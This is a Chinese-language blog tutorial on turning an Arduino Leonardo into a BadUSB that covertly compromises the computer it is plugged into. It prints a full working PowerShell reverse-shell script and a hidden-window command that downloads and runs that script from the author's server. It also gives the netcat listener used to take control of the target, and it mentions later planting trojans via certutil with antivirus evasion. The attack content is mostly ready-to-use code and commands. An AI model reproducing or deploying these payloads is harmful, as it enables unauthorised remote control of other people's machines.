BadUSB制作尝试
前言
本文章是作者想要尝试一下近源渗透,于是购买了一个badusb进行制作。网上有不少教程,可惜有的不适配我的硬件,有的程序也过旧了,没有维护。于是自己总结了各路经验写下这个文章,希望感兴趣的可以制作一个自己的BadUsb。
基本构思
1.通过烧录指定的程序进入badusb
2.攻击机开启nc监听服务
3.目标机插入badusb后,会自动打开终端,并主动连接攻击机,弹出shell,从而攻击机获得控制权
硬件选择
查看了各方资料,发现Rubber Ducky和hak5之类的usb确实效果很牛,并且已经集成了功能。但很贵,同时我意在自己制作一个。最后决定购买Arduino Leonardo这款badusb ,我在某鱼上购买,质量还不错。
badusb的本质是一个单片机,可模拟键盘操作。实际上是一种HID(Human interface device),即人体学接口设备。
很多类似产品都可以实现该项目。
环境要求及搭建
电脑:Windows11+Kali Linux
云服务器:Debian 1台(局域网内测试可省略)
攻击机linux需要搭建简单的web下载服务,在此不赘述。
安装nginx服务后配置nginx.conf即可
这里作者用kali安装了Arduino用于单片机编程及烧录,事实上什么机子都行
apt-get update |
如果启动失败,大概率需要更新java
在监听机下安装netcat:
apt-get install netcat |
程序编写
shell连接
我的主要目标是连接到攻击机的监听端口上去。下面这段程序中,表示创建了一个socket连接到指定的server_ip的server_port端口。同时反向shell连接了攻击机。把这段代码贴到powershell里应该可以直接连上攻击机。
$client = New-Object System.Net.Sockets.TCPClient('server_ip',server_port);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() |
可以把这段代码放到一个ps1文件里,我命名为crack.ps1。
Keyboard模拟
代码作用:
模拟键盘通讯,按下win+r键,并开启大写锁定以屏蔽输入法。输入指令弹出powershell并最小化,执行服务器上下载的ps1脚本
这一段话的大小写是相反的,因为实操中发现事实上打出的字大小写会互换
POWERSHELL -wINDOWsTYLE hIDDEN -cOMMAND & { iNVOKE-eXPRESSION ((nEW-oBJECT nET.wEBcLIENT).dOWNLOADsTRING('HTTP://your_server_ip/CRACK.PS1')) } |
代码如下:
|
如何烧录
先将代码里的your_server_ip换成自己的ip,注意自己配置的下载路径
将该代码用arduino烧录,注意烧录是选择board为Arduino Leonardo ,Port自查
点菜单栏里的右箭头即可烧录
测试
攻击机准备监听
我的攻击机为kali
nc -lvvp 10080 -k |
该代码的作用是:在10080端口开启一个nc监听,保持连接
提示,你可能需要开启防火墙
sudo apt-get install ufw |
目标主机插入BadUsb
目标主机没有安装杀毒软件,但开启windows defender
现象:延迟5s后打开运行对话框,自动输入指定指令,按下回车后自动执行ps1脚本,同时会把powershell窗口最小化。
攻击机现象
usb插入不久后,攻击机上显示已连接上某ip主机,此时按回车会进入powershell,拿下目标主机控制权。
后记
思考
这次尝试是特殊的,因为其实我之前做的反弹shell并不多,同时这个例子也有一定实际意义。我对于硬件编程有了一定理解,在我将该项目转移使用公网服务器的过程中也遇到了不少挑战。相信以后还可以开发出更好玩的BadUsb。
亟待解决
BadUsb肯定是不局限于远程上线的,有更狠的活暂时不会,也有点不敢做,自己以后慢慢研究了。
BadUsb也可以用来植入木马了,通过powershell 利用certutil可以下载木马等(需要免杀)
还未测试各类杀毒软件是否会报毒badusb